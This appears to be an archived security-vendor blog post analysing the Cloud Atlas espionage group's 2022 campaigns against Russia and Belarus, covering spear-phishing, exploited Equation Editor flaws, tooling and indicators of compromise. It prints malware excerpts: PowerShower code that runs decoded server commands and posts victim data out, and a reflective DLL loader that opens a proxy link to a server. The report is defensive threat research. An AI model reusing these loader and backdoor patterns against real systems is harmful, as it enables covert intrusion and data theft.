Cloud Atlas targets entities in Russia and Belarus amid the ongoing war in Ukraine

By etal

Published: 2022-12-09 · Archived: 2026-04-09 02:15:53 UTC

Introduction

Cloud Atlas (or **Inception**) is a cyber-espionage group. Since its discovery in 2014, they have launched multiple, highly targeted attacks on critical infrastructure across geographical zones and political conflicts. The group's tactics, techniques and procedures (TTPs) have remained relatively static over the years. However, since the rapid escalation of the conflict between Russia and Ukraine in 2021 and especially after the outbreak of war in February 2022, the scope of the group's activities has narrowed significantly, with a clear focus on Russia, Belarus and conflicted areas in Ukraine and Moldova. Some evidence discovered while monitoring the group's latest activities indicates that the group carried out a few successful intrusions and managed to gain full access to some of the targeted environments.

In this publication, we discuss the tools, TTPs and victimology of Cloud Atlas in the last year. Interestingly, in addition to the usual malware used by Cloud Atlas, we discovered a new, previously never discussed tool: the group installs not only their signature modular espionage framework on the infected systems, but also uses the DLL to proxy connections through the victims' machines.

While we finalized this blogpost, another technical analysis of Cloud Atlas activity was published. While it overlaps with our findings to some extent, we believe that this report provides the additional information, insights and clarifications regarding the actors' operations.

Victimology

The group's victims shift with the escalation of the political situation around Ukraine. In 2020-2021 the targets we observed included a wide range of ministries, diplomatic entities and industrial targets across the globe, including Western and Southeast Asia and Europe (especially, but not only Eastern Europe). However, toward the end of 2021, amid the rising tensions between Russia and Ukraine, the focus of the group shifted to the Crimean Peninsula and breakaway regions of Ukraine, Luhansk and Donetsk, as well as government, diplomatic, research and industry entities of Russia and Belarus.

In March-April 2022, Cloud Atlas was observed targeting entities in the pro-Russian Transnistria breakaway region of Moldova, officially known as the Transnistrian Moldavian Republic, where tensions were escalating amid fears that Russia would try to extend its sovereignty to Transnistria or use the republic's territories for an offensive against Ukraine. Since June 2022, we have seen multiple persistent campaigns focused on very specific targets in Belarus, mainly in its transportation and military radio-electronics sectors, and in Russia, including the

government sector, energy and metal industries. The actors are also maintaining their focus on the Russian-annexed Crimean Peninsula, Lugansk and Donetsk regions.

Initial infection

Cloud Atlas has used spear-phishing emails containing malicious attachments as their initial attack vector for many years. They mostly use public email services like Yandex, Mail.ru and Outlook.com, but in some cases also attempted to spoof the existing domains of other entities that are likely to be trusted by the target.

Figure 1 – Example of spear-phishing email (subject: "The Diplomatic Academy of the Ministry of Foreign Affairs, Diplomatic Service and Practice Journal") sent by Cloud Atlas to one of the Russian ministries.

The email attachment is usually a Microsoft Office document which retrieves a malicious remote template from the attackers' servers. The lures of these documents are carefully tailored to the target. We observed a variety of weaponized documents ranging from governmental documents to publicly available reports and articles, including business proposals and advertisements.

Figure 2 – Examples of lure documents targeting Belarussian entities: A description of the "Comprehensive analysis of the economic and financial activities of a commercial organization" course from Belarusian State Economic University (left) and the advertisement of the company specialized in office equipment (right).

Figure 3 – Examples of lure documents used by CloudAtlas against government and energy sectors. (Resolution of the government of the Russian Federation on the application of legislation in the field of atomic energy in the Zaporozhye region, on the right.)

The remote templates are RTF documents that exploit 5-year-old vulnerabilities in Microsoft Equation Editor, such as CVE-2017-11882 and CVE-2018-0802. For both external templates and the later stages of the campaign, the attackers closely control who can access them by whitelisting the targets. This is a known technique used by Cloud Atlas to collect the IP information of the victims by first sending them reconnaissance documents, which do not contain any malicious functionality aside from fingerprinting the victim. Whitelisting can be easily performed in those cases where the targeted entities are large enough to have their own ASN. The use of whitelisting significantly decreases the chances of the malicious components executing in sandboxes or research environments.

PowerShower backdoor

The next stage of a Cloud Atlas attack is usually a PowerShell-based backdoor called PowerShower.
PowerShower is stored on the disk with simple obfuscation of Base64-encoding and string concatenation:

Figure 4 – Example of PowerShower backdoor obfuscation.

The PowerShower versions that we observed during our research included a thinner functionality compared to older versions, but the backdoor remained essentially unchanged, including function names, such as `HttpRequestG`, `HttpRequestP`, and `dec64` that can be tracked through the different versions.

Once PowerShower is up and running, it mainly waits for further instructions from the Command and Control (C&C) server. It may save a zip file sent from the server to `%TEMP%\PG.zip` or execute PowerShell commands that are sent embedded in an XML file in a Base64-encoded format:

Plain text

Copy to clipboard

Open code in new window

EnlighterJS 3 Syntax Highlighter

$xmlfile = (gi $env:temp).fullname + "\\temp.xml";

[io.file]::WriteAllBytes($xmlfile, $result);

$content = Get-Content $xmlfile;

[xml]$doc = $content;

$command = dec64($doc.model.ps);

Invoke-Expression $command;

Remove-Item $xmlfile -force;

$xmlfile = (gi $env:temp).fullname + "\\temp.xml"; [io.file]::WriteAllBytes($xmlfile, $result); $content = Get-Content $xmlfile; [xml]$doc = $content; $command = dec64($doc.model.ps); Invoke-Expression $command; Remove-Item $xmlfile -force;

```
$xmlfile = (gi $env:temp).fullname + "\\temp.xml";
[io.file]::WriteAllBytes($xmlfile, $result);
$content = Get-Content $xmlfile;
[xml]$doc = $content;
$command = dec64($doc.model.ps);
Invoke-Expression $command;
Remove-Item $xmlfile -force;
```

Figure 5 – PowerShower piece of code that handles parsing XML and PowerShell command execution.

One of the recent changes introduced in PowerShower is proxy awareness: if a proxy is enabled on the infected machine, the malware uses it when issuing the requests to the C&C server. In addition, the script now sends some basic data about the victim's machine (OS major and minor versions and PowerShell version) in the User-Agent header of the POST request:

Plain text

Copy to clipboard

Open code in new window

EnlighterJS 3 Syntax Highlighter

```
Function HttpRequestP($url)
{
$all="";
$p_t = (gi $env:temp).fullname + "\pass.txt";
$content = [io.file]::ReadAllText($p_t);
Remove-Item $p_t -force -recurse;
$all=$content;
$http_request = New-Object -ComObject Msxml2.ServerXMLHTTP.6.0;
$http_request.open("POST", $url, $false);
$http_request.setOption(2,$http_request.getOption(2));
$pr = Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\";
if ( $pr.ProxyEnable -eq "1")
{
$http_request.setProxy(2, $pr.ProxyServer);
}
$psv = $PSVersionTable.PSVersion.Major;
$wvmajor = [Environment]::OSVersion.Version.Major;
$wvminor = [Environment]::OSVersion.Version.Minor;
$http_request.SetRequestHeader("User-Agent", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT " + $wvmajor + "." + $wvminor + "; PS " + $psv + ".00)");
$http_request.send("$all");
return $http_request.status;
}
```

Function HttpRequestP($url) { $all=""; $p_t = (gi $env:temp).fullname + "\pass.txt"; $content = [io.file]::ReadAllText($p_t); Remove-Item $p_t -force -recurse; $all=$content; $http_request = New-Object -ComObject Msxml2.ServerXMLHTTP.6.0; $http_request.open("POST", $url, $false); $http_request.setOption(2,$http_request.getOption(2)); $pr = Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\"; if ($pr.ProxyEnable -eq "1") { $http_request.setProxy(2, $pr.ProxyServer); } $psv = $PSVersionTable.PSVersion.Major; $wvmajor = [Environment]::OSVersion.Version.Major; $wvminor = [Environment]::OSVersion.Version.Minor; $http_request.SetRequestHeader("User-Agent", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT " + $wvmajor + "." + $wvminor + "; PS " + $psv + ".00)"); $http_request.send("$all"); return $http_request.status; }

```
Function HttpRequestP($url)
{
    $all="";
    $p_t = (gi $env:temp).fullname + "\pass.txt";
    $content = [io.file]::ReadAllText($p_t);
    Remove-Item $p_t -force -recurse;
    $all=$content;
    $http_request = New-Object -ComObject Msxml2.ServerXMLHTTP.6.0;
    $http_request.open("POST", $url, $false);
    $http_request.setOption(2,$http_request.getOption(2));
    $pr = Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\
    if ( $pr.ProxyEnable -eq "1")
    {
        $http_request.setProxy(2, $pr.ProxyServer);
    }
    $psv = $PSVersionTable.PSVersion.Major;
    $wvmajor = [Environment]::OSVersion.Version.Major;
    $wvminor = [Environment]::OSVersion.Version.Minor;
    $http_request.SetRequestHeader("User-Agent", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT " + $
    $http_request.send("$all");
    return $http_request.status;
}
```

Figure 6 – PowerShower proxy handling and User-Agent string concatenation.

RtcpProxy Tool

One of the interesting payloads received by PowerShower is a script called `office.ps1`. This script reflectively loads in memory and runs the `StartMainXor` function from the .NET DLL stored in the script compressed and Base64-encoded.

Plain text

Copy to clipboard

Open code in new window

EnlighterJS 3 Syntax Highlighter

$dll_compressed_base64="H4sIAAAAAAAA<truncated>"

$dll_compressed=[System.Convert]::FromBase64String($dll_compressed_base64)

$ms=New-ObjectSystem.IO.MemoryStream(,$dll_compressed)

$cs=New-ObjectSystem.IO.Compression.GzipStream($ms,[IO.Compression.CompressionMode]::Decompress)

$br=New-ObjectSystem.IO.BinaryReader($cs)

$dll_content=$br.ReadBytes(10485760)

$br.Close()

$cs.Close()

$ms.Close()

[System.Reflection.Assembly]::Load($dll_content)

#$content_bytes=[tcp_ssl_simple.NetTcpSsl]::StartHello()

#[abcd.Service]::StartHello()

// Prototype:

// StartMainXor(string host, string port, int number, int reconnect_sleep, int time_stop_delay_seconds, string hexkey)

$content_bytes=[abcd.Service]::StartMainXor("<server_address>", "11171", 10, 7000, 15 * 60, "010203BADC0DEF")

write-host"DoneTest"

$dll_compressed_base64="H4sIAAAAAAAA<truncated>" $dll_compressed= [System.Convert]::FromBase64String($dll_compressed_base64) $ms=New-ObjectSystem.IO.MemoryStream(,$dll_compressed) $cs=New-ObjectSystem.IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Decompress) $br=New-ObjectSystem.IO.BinaryReader($cs) $dll_content=$br.ReadBytes(10485760) $br.Close() $cs.Close() $ms.Close() [System.Reflection.Assembly]::Load($dll_content) #$content_bytes=[tcp_ssl_simple.NetTcpSsl]::StartHello() #[abcd.Service]::StartHello() // Prototype: // StartMainXor(string host, string port, int number, int reconnect_sleep, int time_stop_delay_seconds, string hexkey) $content_bytes=[abcd.Service]::StartMainXor("<server_address>", "11171", 10, 7000, 15 * 60, "010203BADC0DEF") write-host"DoneTest"

```
$dll_compressed_base64="H4sIAAAAAAAA<truncated>"
$dll_compressed=[System.Convert]::FromBase64String($dll_compressed_base64)
$ms=New-ObjectSystem.IO.MemoryStream(,$dll_compressed)
```

```
$cs=New-ObjectSystem.IO.Compression.GzipStream($ms,[IO.Compression.CompressionMode]::Decompress)
$br=New-ObjectSystem.IO.BinaryReader($cs)
$dll_content=$br.ReadBytes(10485760)
$br.Close()
$cs.Close()
$ms.Close()
[System.Reflection.Assembly]::Load($dll_content)
#$content_bytes=[tcp_ssl_simple.NetTcpSsl]::StartHello()
#[abcd.Service]::StartHello()
// Prototype:
// StartMainXor(string host, string port, int number, int reconnect_sleep, int time_stop_delay_secon
$content_bytes=[abcd.Service]::StartMainXor("<server_address>", "11171", 10, 7000, 15 * 60, "010203B
write-host"DoneTest"
```

This DLL is internally called `rtcpsvc.dll` and is responsible for relaying commands between two different servers. This DLL is likely a part of a sequence of proxies used by the attackers. There were multiple past reports that the actors heavily relied on a world-wide proxy network, however, it was never mentioned that they achieved this with DLLs on Windows. Setting proxies within compromised environments might also in some cases allow the actors to penetrate high profile targets while reducing the risk of their network activity being discovered or blocked, as the network activity is associated with trusted sources inside the country or industry.

The communication between the DLL and the hosts can be XOR-encrypted, depending on if the DLL was executed with a key parameter or without. In all the cases we analyzed, the same key “ `010203BADC0DEF` ” was used for the XOR-encryption. Other parameters that are provided to launch the DLL include the host and port of the remote peer, the number of connections, and the amount of time to sleep before reconnecting.

Figure 7 – Overview of the Communication class responsible for communication between two peers.

The DLL reaches out to the specified remote host (`Left`) and receives 4 bytes in response. These bytes specify the length of the next message (command) to be received. It then connects again to the host and expects an XML response with the `connect` command. This XML response should contain the `host` and `port` of another (`Right`) peer. The DLL connects to the second host as well, notifies the first host of success, and starts to relay messages between them.

Figure 8 – Function responsible for sending the connect result in XML format to the “Left” peer.

Similar to the command execution status sent to the peers, the relayed messages themselves are also in XML format, as well as the commands received by the PowerShower backdoor.

Modular espionage framework

Interestingly, the actors made no significant changes in the core of their modular backdoor in the seven years after its discovery in 2014 by Kaspersky and Symantec. As described in the aforementioned reports, we observed multiple samples of Cloud Atlas’ modular backdoor. Each is an obfuscated DLL accompanied by an encrypted

file, with both DLL and data files named using random words. For example, a DLL named `beachmaster.dll` was accompanied by an encrypted file named `examinere`. Each DLL has multiple randomly-named export functions, only one of which is relevant. When the relevant export function is called, the DLL begins to decrypt and load an embedded PE file. The loaded PE file then XOR-decrypts a hardcoded struct that instructs it how to decrypt the companion file. For example, the hardcoded struct in the PE inside `beachmaster.dll` will look like this:

Plain text

Copy to clipboard

Open code in new window

EnlighterJS 3 Syntax Highlighter

0000h: C6 8E CA BF E5 DE 8E 74 1E 08 E3 FB 6D C1 79 3F ÆŽÊ¿åÞŽt..ãûmÁy?

0010h: E5 19 69 0C 55 74 54 F7 CF 15 9D AF 00 02 D9 55 å.i.UtT÷Ï.¯..ÙU

0020h: 47 00 6C 00 6F 00 62 00 61 00 6C 00 5C 00 49 00 G.l.o.b.a.l.\.I.

0030h: 54 00 4F 00 4A 00 75 00 43 00 65 00 69 00 00 00 T.O.J.u.C.e.i...

0040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....

[…truncated…]

0090h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....

00A0h: 65 00 78 00 61 00 6D 00 69 00 6E 00 65 00 72 00 e.x.a.m.i.n.e.r.

00B0h: 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e...............

00C0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....

[…truncated…]

0110h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....

0120h: 7D CB BE 31 61 A3 10 54 8F D7 31 71 5E E7 21 86 }Ë¾1a£.T×1q^ç!†

0130h: 13 E1 CF 96 .áÏ–

....

0000h: C6 8E CA BF E5 DE 8E 74 1E 08 E3 FB 6D C1 79 3F ÆŽÊ¿åÞŽt..ãûmÁy? 0010h: E5 19 69 0C 55 74 54 F7 CF 15 9D AF 00 02 D9 55 å.i.UtT÷Ï.¯..ÙU 0020h: 47 00 6C 00 6F 00 62 00 61 00 6C 00 5C 00 49 00 G.l.o.b.a.l.\.I. 0030h: 54 00 4F 00 4A 00 75 00 43 00 65 00 69 00 00 00 T.O.J.u.C.e.i... 0040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .... […truncated…] 0090h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .... 00A0h: 65 00 78 00 61 00 6D 00 69 00 6E 00 65 00 72 00 e.x.a.m.i.n.e.r. 00B0h: 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e............... 00C0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .... […

truncated…] 0110h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..... 0120h: 7D CB BE 31 61 A3 10 54 8F D7 31 71 5E E7 21 86 }Ë¾1a£.T×1q^ç!† 0130h: 13 E1 CF 96 .áÏ– ....

```
0000h: C6 8E CA BF E5 DE 8E 74 1E 08 E3 FB 6D C1 79 3F  ÆŽÊ¿åÞŽt..ãûmÁy?
0010h: E5 19 69 0C 55 74 54 F7 CF 15 9D AF 00 02 D9 55  å.i.UtT÷Ï.¯..ÙU
0020h: 47 00 6C 00 6F 00 62 00 61 00 6C 00 5C 00 49 00  G.l.o.b.a.l.\.I.
0030h: 54 00 4F 00 4A 00 75 00 43 00 65 00 69 00 00 00  T.O.J.u.C.e.i...
0040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
[···truncated···]
0090h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00A0h: 65 00 78 00 61 00 6D 00 69 00 6E 00 65 00 72 00  e.x.a.m.i.n.e.r.
00B0h: 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  e...............
00C0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
[···truncated···]
0110h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0120h: 7D CB BE 31 61 A3 10 54 8F D7 31 71 5E E7 21 86  }Ë¾1a£.T×1q^ç!†
0130h: 13 E1 CF 96                                      .áÏ–
....
```

The structure is built from an AES256 key which is used to decrypt the companion file, an event name which prevents running multiple instances of malware, a file name of the encrypted companion file, and a SHA1 hash. The SHA1 at the end of the structure is used for a hash check: it matches the calculated SHA1 hash of the first 0x120 bytes of the configuration.

The payload then decrypts the companion file. It uses the AES256 key from the config, and the last 16 bytes from the companion file as an IV. It then uses LZNT1 to decompress the results and reveal another PE file. The newly revealed DLL also has an encrypted configuration hardcoded inside. Its decryption process is similar to those seen in previous stages and this config provides information that instructs the malware how to communicate with its C&C server.

The malware still lives up to its “cloud name” origins and uses cloud storage providers to communicate via WebDAV protocol. In the samples we observed, Cloud Atlas used **OpenDrive** as its service of choice. The credentials for OpenDrive are hardcoded in the encrypted configuration, along with two URIs (one for uploading files from the victim, one for downloading files from the server) and the pattern and extensions to generate the names of the uploaded files. The data sent to the service, such as information about the environment of the victim, is saved as files under the URI specified in the configuration. Additionally, the payload connects to another URI to receive the next payload, and when it downloads the next payload, it issues a request to the server to remove the downloaded file. The first module which is sent automatically is the stealer module, which is responsible for collecting the login and cookie data from multiple browsers on the victim’s machine.

Incident response report

While investigating CloudAtlas activity, we stumbled upon some type of incident response report written in Russian that was uploaded to VirusTotal from an IP address located in Donetsk. This report (no TLP label specified) provides an analysis of a few successful intrusions that occurred in June. These intrusions were

discovered only in the later stages when the attackers already had full access to the entire network including the domain controller. Although not all the information in the report is precise and well-detailed, we can cautiously extract some of the group's additional TTPs during the later stages of the attack:

- After gaining access to the domain controller, the actors extract the snapshot of its database using the **ntdsutil** utility and copy it to their server for offline analysis and extraction of password hashes.
- To connect to the machines inside the victim organization's network, the attackers use the infected computers of ordinary users, from which they then connect via RDP to the domain controller. The attackers use existing domain accounts after changing their permissions or create accounts with similar names by changing one or two letters. The actors conduct their primary activities (using RDP or ssh to other servers, endpoints or network equipment) from the domain controller, impersonating regular sysadmin operations.
- Additional tools used by the attackers include **Advanced Port Scanner** (version 2.5.3869, with Russian interface), file manager **Far**, **Chocolatey**, **AnyDesk**, and **Putty** (copied to the servers and deleted after completing the task). The actors also use Python 3 scripts on multiple servers to perform a variety of operations such as: searching and deleting all information about connections to `webdav.opendrive.com` from the logs of the Squid proxy server; copying correspondence from Telegram clients, saved passwords and browser history; and brute force of Microtik routers.

It is not clear from the report which organizations or entities were the victims of these attacks.

Conclusion

Cloud Atlas continuously and persistently targets entities of interest. With the escalation of the conflict between Russia and Ukraine, their focus for the past year has been on Russia and Belarus and their diplomatic, government, energy and technology sectors, and on the annexed regions of Ukraine.

Cloud Atlas continues to use the simple but effective method of social engineering, using spear-phishing emails to compromise their targets. In the first stage of the attack, the actors use Word documents with remote templates, usually whitelisted for a particular target, which makes the phishing documents almost undetectable. Judging by the fact that the group continues to be very active despite only minor changes in TTPs, their methods seem to be successful. Not only do they manage to penetrate their targets and expand their initial access to the entire domain, but they can also use them as proxies for other operations.

Harmony Email & Office deploys between the inbox and its native security. The solution secures inbound, outbound, and internal email from phishing attacks that evade platform-provided solutions and email gateways. It works with these other solutions and doesn't require any MX record changes that broadcast security protocols to hackers.

Check Point's Threat Emulation protects networks against unknown threats in web downloads and e-mail attachments. The Threat Emulation engine picks up malware at the initial phase, before it enters the network. The engine quickly quarantines and runs the files in a virtual sandbox environment, which imitates a standard operating system, to discover malicious behavior at the exploit phase.

IOCs

Documents, scripts and payloads

```
a34d585f66fc4582ed709298d00339a9
b1aad1ed2925c47f848f9c86a4f35256
f58ad9ee5d052cb9532830f59ecb5b84
57c44757d7a43d3bc9e64ec5c5e5515d
41d2627522794e9ec227d72f842edaf7
f95ceca752d219dbc251cca4cd723eae
044e167af277ca0d809ce4289121a7b5
1139c39dda645f4c7b06b662083a0b9d
3399deafaa6b91e8c19d767935ae0908
bd9907dd708608bd82bf445f8c9c06ab
edc96c980bbc85d83dcd4dca49ca613f
ee671a205b0204fa1a6b4e31c9539771
5488781d71b447431a025bd21b098c2c
16fbbafa294d1f4c6c043d89138d1b60
5bbc3730c943b89673453176979d6811
b684f3ee5a316e7fbcfa95ebcf86dedc
ae74f2bfd671e11828a1ae040fe6d48c
2a21265df0bdd70a96551d9d6104b352
a8a93fa8ef221de5ee3d110cfc85243d
eb527d1682bfbed5d9346e721c38c6f5
ae828e3c03cc1aaedc43bb391e8b47ed
c7a1dd829b03b47c6038afa870b2f965
c2064c7f4826c46bc609c472597366fd
89d40dd2db9c2cfd6a03b20b307dcdec
d236d8fda2b7d6fd49b728d57c92a0a9
9b05080490d51a7d2806a0d55d75c7ff
d5a40e2986efd4a182bf564084533763
077b71298ce31832ae43e834b7e6c080
f68e64dacd046289d4222098ee421478
d236d8fda2b7d6fd49b728d57c92a0a9
81932933422d4bc4ece37472f9eb3ddc
d0d728856a91710df364576e05f2113e
94283807d0c97b3adb8f4ab45fffb5bc
0e9147b824bc1d2507984ccd2a36d507
dc3faa6840d1b5fd296d71ee8877254e
aa04bfcc675c73be1238fa953e19c4cf
789afbe3a173d13d0b3700da6a629e15
acbbc6fea0dbbe7cba511b450cc2b758
e79833c9f758775ba0d82b8f4c8d2981
3609ca3013d29fb824805b9a996eff70
956f2241e81345d6507d0cd43499dba1
a3ba37cde2644ed6345d2c74ce25bfd8
a7a004e7118c986f1e07c87ce52a60e5
```

```
b7b71b35fbfd119319015b04de817b3c
f29cbc7639b53003fb33d8b20b9c0b59
```

Domains

```
desktoppreview[.]com
gettemplate[.]org
driversolution[.]net
translate-news[.]net
technology-requests[.]net
protocol-list[.]com
comparelicense[.]com
support-app[.]net
remote-convert[.]com
```

IPs

```
146.70.88.123
185.227.82.21
```

```
```

Source: https://research.checkpoint.com/2022/cloud-atlas-targets-entities-in-russia-and-belarus-amid-the-ongoing-war-in-ukraine/